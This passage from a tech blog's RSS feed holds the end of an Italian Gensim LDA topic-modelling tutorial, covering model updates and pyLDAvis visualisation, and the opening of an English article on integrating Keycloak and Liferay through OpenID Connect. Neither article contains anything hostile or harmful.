&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.3996785&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06758379&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.39854106&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06670547&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06749118&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 9 - Utilizzo del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Estraiamo a questo punto il topic con lo score maggiore. In questo caso è il topic con id 0.
Ne restituiamo allora la rappresentazione tramite le principali keyword.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel.print_topic(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;topn&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.016*&amp;quot;shooting&amp;quot; + 0.012*&amp;quot;police&amp;quot; + 0.009*&amp;quot;killed&amp;quot; + 0.006*&amp;quot;prison&amp;quot; + 0.006*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;suspect&amp;quot; + 0.005*&amp;quot;school&amp;quot; + 0.005*&amp;quot;arrested&amp;quot; + 0.005*&amp;quot;killing&amp;quot; + 0.005*&amp;quot;olympics&amp;quot;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 10 - Topic principale&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;aggiornamento-del-modello&quot;&gt;Aggiornamento del modello&lt;/h3&gt;&lt;p&gt;In un contesto reale ci aspettiamo di avere a disposizione nel corso del tempo nuovi contenuti, i quali rappresentano
un&amp;#x27;informazione utile per migliorare le prestazioni del modello. &lt;br/&gt;
Potremmo scegliere di riaddestrare il modello da capo, utilizzando il corpus completato con i nuovi contenuti.&lt;br/&gt;
La libreria Gensim però ci offre anche la possibilità di riaddestrare il modello in maniera parziale e più rapida.
Caricando il modello più recente da file, possiamo creare il corpus con i nuovi documenti e fare successivamente un update del modello, che possiamo salvare
e utilizzare al posto della versione precedente.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;temp_file = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../models/model.h5&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Load a potentially pretrained model from disk.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda = models.LdaModel.load(temp_file)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_data = df.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../data/new_data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_text_list = new_data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headline&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_cleaned_summary_list = [transform(element) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; element &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = corpora.Dictionary(new_cleaned_summary_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_corpus = [dictionary.doc2bow(text) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cleaned_summary_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = models.TfidfModel(new_corpus)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# step 1 -- initialize a model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus_tfidf = tfidf[new_corpus]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda.update(corpus_tfidf)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 11 - Update del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;visualizzazione-con-pyldavis&quot;&gt;Visualizzazione con pyLDAvis&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/bmabey/pyLDAvis&quot;&gt;PyLDAvis&lt;/a&gt;&lt;/strong&gt; permette di visualizzare su un ambiente interattivo (un Jupyter Notebook ad esempio) quelli
che sono i topic individuati dal Topic Model creato.
Ci carichiamo il modello appena addestrato, insieme alla rappresentazione vettoriale del corpus e al dizionario, e
chiediamo a pyLDAvis di visualizzare i risultati.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pyLDAvis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pyLDAvis.gensim_models &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; gensimvis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pyLDAvis.enable_notebook()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = gensim.corpora.Dictionary.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;dictionary.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus = pickle.load(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;corpus.pkl&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda = gensim.models.ldamodel.LdaModel.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;model5.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda_display = gensimvis.prepare(lda, corpus, dictionary, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sort_topics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pyLDAvis.display(lda_display)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 12 - Visualizzazione con pyLDAvis&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Attraverso il metodo &lt;em&gt;display&lt;/em&gt; della libreria generiamo un pannello interattivo che visualizza sulla sinistra
una rappresentazione nello spazio dei topic, sulla destra una visualizzazione su quelli che sono i concetti
e le parole chiavi principali per il topic selezionato.&lt;/p&gt;&lt;p&gt;I topic tra loro vicini o in sovrapposizione saranno topic simili tra loro.&lt;/p&gt;&lt;p&gt;Risulta possibile interagire con il pannello attraverso opportuni comandi che permettono di:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Scegliere quali e quanti topic visualizzare&lt;/li&gt;&lt;li&gt;Settare l&amp;#x27;opportuna &lt;strong&gt;Saliency&lt;/strong&gt;, cioè la misura di quanto il termine ti dice su quel topic&lt;/li&gt;&lt;li&gt;Settare l&amp;#x27;opportuna &lt;strong&gt;Relevance&lt;/strong&gt;, cioè una misura dell&amp;#x27;importanza della parola per quel topic, rispetto al resto dei topic.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0d7a68fbb3458f61887c88985769a216/7c5b4/pyLDAvis.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;248\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20248\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M351%204c-31%200-36%200-36%202l36%201a5122%205122%200%200140-1c0-2-1-2-2-3l-38%201M232%20116v78h22v-4l1-7c0-5%202-10%202-7s17%202%2018%200c0-2-1-2-10-2-7%200-10%200-9-1l32-1%2032-1c0-2-4-2-32-2h-32v-3c0-4%201-4%204-4s4%200%203-2c0-3-5-3-5%200-1%201-1%201-1-1-1-2-1-2%207-2%206%200%207%200%207-2s-1-2-7-2h-7l1-6%201-5%204-1c6-1%206-3%200-3-2%200-4%200-3-1l6-1c5%200%206%200%206-2s-1-2-6-2h-5v-6h17c15%200%2016%200%2016-2s-1-2-16-2h-17l1-2%201-1c0%202%2050%202%2050%200s-3-2-25-2l-26-1%2017-1%2016-1c0-2-3-2-17-2-10%200-16%200-15-1l21-1c20%200%2020%200%2020-2s0-2-21-2h-20l3-1%202-2c0-2-3-3-3%200h-1c-1-3-1-3%206-3%205%200%206%200%206-2s-1-2-6-2c-11%200-3-2%209-2l11-1c0-2-2-2-12-2-8%200-12%200-10-1l8-1%207-1c0-2-1-2-7-2l-7-1%2058-1h58v-4h-57a404%20404%200%2000-58%201v-2h20c18%200%2019%200%2019-2s-1-2-20-2c-16%200-17%200-6-1%2012%200%2013%200%2013-2s-1-2-13-2c-8%200-12%200-11-1l7-1%206-1c0-2-1-2-7-2-5%200-7%200-6-1l16-1%2016-1c0-2-3-2-16-2-11%200-14-1-10-1%205%200%206-1%206-3s7-3%2021-3c5%200%206%200%205-2%200-2-1-2-8-2h-8l36-1c35%200%2036%200%2036-2s-1-2-35-2c-27%200-30-1-12-1h23v-4l-55-1h-55v78M50%2052c-16%204-21%2025-9%2035%209%208%2019%208%2027%200%2016-14%202-40-18-35\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0d7a68fbb3458f61887c88985769a216/c85cb/pyLDAvis.webp 300w,/static/0d7a68fbb3458f61887c88985769a216/e88ff/pyLDAvis.webp 600w,/static/0d7a68fbb3458f61887c88985769a216/92f8c/pyLDAvis.webp 1200w,/static/0d7a68fbb3458f61887c88985769a216/00a34/pyLDAvis.webp 1309w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0d7a68fbb3458f61887c88985769a216/5a46d/pyLDAvis.png 300w,/static/0d7a68fbb3458f61887c88985769a216/0a47e/pyLDAvis.png 600w,/static/0d7a68fbb3458f61887c88985769a216/c1b63/pyLDAvis.png 1200w,/static/0d7a68fbb3458f61887c88985769a216/7c5b4/pyLDAvis.png 1309w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Visualizzazione con pyLDAvis&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0d7a68fbb3458f61887c88985769a216/c1b63/pyLDAvis.png&quot; title=&quot;Figura 1 - Visualizzazione con pyLDAvis&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Visualizzazione con pyLDAvis&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Abbiamo potuto constatare come il Topic Modelling sia una tecnica molto semplice e facile da applicare, poiché non
necessità di dati etichettati. Tutto quello di cui si ha bisogno è di un corpus di documenti a cui avere accesso sul quale poter addestrare il proprio modello.&lt;br/&gt;
Abbiamo visto inoltre come sia molto semplice riaddestrare un modello con i nuovi dati acquisiti. Molto spesso si può procedere
attraverso raffinamenti molto rapidi e frequenti del modello considerando solo i nuovi dati, e solo ad intervalli più ampi decidere
di riaddestrare il modello da capo.&lt;br/&gt;
Questa tecnica, come abbiamo visto, dà come risultato, dato un documento i topic trattati, e per ognuno di questi è
possibile ottenere le keyword principali che lo descrivono. &lt;br/&gt;
Otteniamo in questo modo delle informazioni in maniera automatica e intelligente sulla natura del testo analizzato. Tutto ciò può
rivelarsi molto utile per applicazioni come:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;motori di ricerca cognitivi&lt;/strong&gt;: si taggano i contenuti con le parole chiave dei topic principali, per sfruttarle poi in fase di ricerca&lt;/li&gt;&lt;li&gt;&lt;strong&gt;customer service&lt;/strong&gt;: si riesce ad individuare i topic principali discussi dai clienti e capirne più facilmente e rapidamente i bisogni&lt;/li&gt;&lt;li&gt;&lt;strong&gt;social network&lt;/strong&gt;: per individuare gli argomenti principali trattati dagli utenti&lt;/li&gt;&lt;li&gt;&lt;strong&gt;sentiment analysis&lt;/strong&gt;: per individuare concetti che sono espressione del sentiment del contenuto&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[How to connect Keycloak and Liferay via OpenID Connect]]></title><link>https://techblog.smc.ithow-to-connect-keycloak-liferay-openid-connect</link><guid isPermaLink="false">https://techblog.smc.ithow-to-connect-keycloak-liferay-openid-connect</guid><pubDate>Fri, 15 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In recent years, the authentication protocol has become increasingly popular
&lt;a href=&quot;https://openid.net/connect/&quot;&gt;OpenID Connect (OIDC)&lt;/a&gt;, based on &lt;a href=&quot;https://oauth.net/2/&quot;&gt;OAuth2&lt;/a&gt;,
to provide secure access to applications and APIs (Application
Programming Interface).&lt;/p&gt;&lt;p&gt;In this article we will see how to undertake a correct configuration of
&lt;a href=&quot;https://www.keycloak.org/&quot;&gt;Keycloak&lt;/a&gt; and &lt;a href=&quot;https://www.liferay.com&quot;&gt;Liferay&lt;/a&gt; in order
to enable the user authentication process using the protocol
OpenID Connect. I would like to point out that the article is not
a guide to installing Liferay and Keycloak.&lt;/p&gt;&lt;p&gt;To understand what is described in the article, a
good knowledge of the administrative aspects of both Liferay and Keycloak, as well
a basic knowledge of &lt;a href=&quot;https://en.wikipedia.org/wiki/Single_sign-on&quot;&gt;SSO (Single Sign-On systems)&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As usual I will leave the &lt;strong&gt;end-of-article bonus&lt;/strong&gt;, that is, the GitHub reference
of the project that will allow you to recreate the scenario we are going to describe.&lt;/p&gt;&lt;h2 id=&quot;1---requirements&quot;&gt;1 - Requirements&lt;/h2&gt;&lt;p&gt;The reference versions of Liferay and Keycloak that we will consider
are respectively 7.3 GA6 and 15.0.2 (released August 20, 2021).&lt;/p&gt;&lt;p&gt;So that you can successfully complete the integration configuration
between Keycloak and Liferay, a Liferay instance needs to be available and
an instance of Keycloak.&lt;/p&gt;&lt;p&gt;For Liferay and Keycloak configuration tasks you need to have
login credentials and that they have an administrator role
for both systems.&lt;/p&gt;&lt;p&gt;The diagram in the figure below shows the integration scenario at a high level
that we are going to implement and what protocols are used.
The LDAP component has been inserted but it is completely optional,
&lt;strong&gt;you will find it, however, within the bonus&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/93445/scenario-integrazione-keycloak-liferay-via-openid-connect.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;201\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20201\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M72%2015c-2%201-3%203-2%206l-1%204c-2%202-3%204-3%208v5h7v48H4l-1%2017v17h3l71%201h68v-9l1-8%201%201h1a88%2088%200%200136%202h1l6-1c8%200%208%200%208-2s-2-4-4-3h-14c-2%202-31%201-32%200h-2c-2%201-2%200-2-7v-8l-34-1-34-1-1-2-1-20c0-18%200-20%202-20l-1-2c-1-1-1-2%202-2%204%200%204%200%204-5s0-6-2-8l-1-3c2-3-3-8-7-7m-2%2012l-2%206v4h13l-1-5-1-5c-2-3-8-2-9%200m185%2067c0%207%200%208-2%207h-2a91%2091%200%2001-31%200l-8%201-7%201-2%201%201-2v-2c-2%200-3%201-3%203%200%203%200%203%204%203l4-1h1c1%202%2012%201%2012-1h1c0%202%205%202%206%201h25c1-1%201%200%201%207l1%209h34c33%200%2037%200%2034%202v1c3%201%204%200%204-2-1-1%202-1%2031-1l35-1h3V86l-71-1h-71v9M31%20118l53%201%2053-1H31m307%2022l-3%201h-4l-8-1c-3%200-3%200-3%202%200%203%200%203%203%203l4%201h2l8-1%208-1h1l1%202v1l1-1%204-1c4-1%204-3%200-4l-4%201h-1l-3-1-5-1h-1m-14%2019v2l1%202h-70v35h142v-35h-70v-2c1-3-1-3-3-2m-67%2022v15h69a313%20313%200%200068-2l-1-1%201-1%201-8v-9h-11l1-1%201-1-1-6%201-1c1-1-3-1-30-1l-31%201h-1l-1-1v5c1-5-1-5-34-5h-32v16m73-12l-1%202-4%201c1%201%200%202-2%202l-2-2-2%203-2%204v-4c0-2%200-3-1-2a60%2060%200%2001-2%207l-3%202-4%201h-4l-2-1-1-3-1%202v2l-2-2c-1-1-1-1-2%201s-1%202-2%201c0-3-2-1-2%202%200%202%202%207%202%204l2-1v3h5c1%201%201%201%201-1%200-1%201-2%203-2%203%200%205%202%202%202s0%202%203%202%203%200%202-2c-1-1-1-1%201-1h1l-1-2h1c1%201%202%202%203%201l3%201c0%202%205%203%207%201l-1-1h-2%206l2-1v1c-2%201-2%202%202%202%203%200%204-1%205-2h2l1%201c0-2%203-3%203-1h1c0-2%203-1%204%201l2%202-1-2c-1-1%200-2%203-2%204%200%205%200%205%202h1l2-2%201-1-1-1-1-2c0-2%200-2-2-2-2%201-3%201-3-1l-2-1v3h-3l-1-1-2%202c0%201-1%201-3-1-2-3-2-3-2-1%201%201%201%202-1%202l-1-2v-2l-1%201-3-3c-1-1-1-1-1%201l2%202%201%203c0%202%200%202-1%201-1-3-3-5-4-3l-1%201v-3c1-1%202-2%201-3l1-1v-3c1-1%201-1-1-2l-2-2h-1m-60%204l-2%204h-1c-1-2-2-1-1%202l-3%207c-3%204-4%205-2%205l1-2c1-1%201-1%201%201l1%202%201-1c-1-2%202-2%206-1h1c-1-1%200-1%205-1%206%201%208-1%205-4l-2-3-1-1v-2l1-3-2%202-1%202v-2l-3-5-2-2-2%202m23%2021\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a2bea28e80b71fdab3ed6582ae6ab936/c85cb/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 300w,/static/a2bea28e80b71fdab3ed6582ae6ab936/e88ff/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 600w,/static/a2bea28e80b71fdab3ed6582ae6ab936/92f8c/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 1200w,/static/a2bea28e80b71fdab3ed6582ae6ab936/62ed8/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 1800w,/static/a2bea28e80b71fdab3ed6582ae6ab936/46261/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 2400w,/static/a2bea28e80b71fdab3ed6582ae6ab936/8dd37/scenario-integrazione-keycloak-liferay-via-openid-connect.webp 3246w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
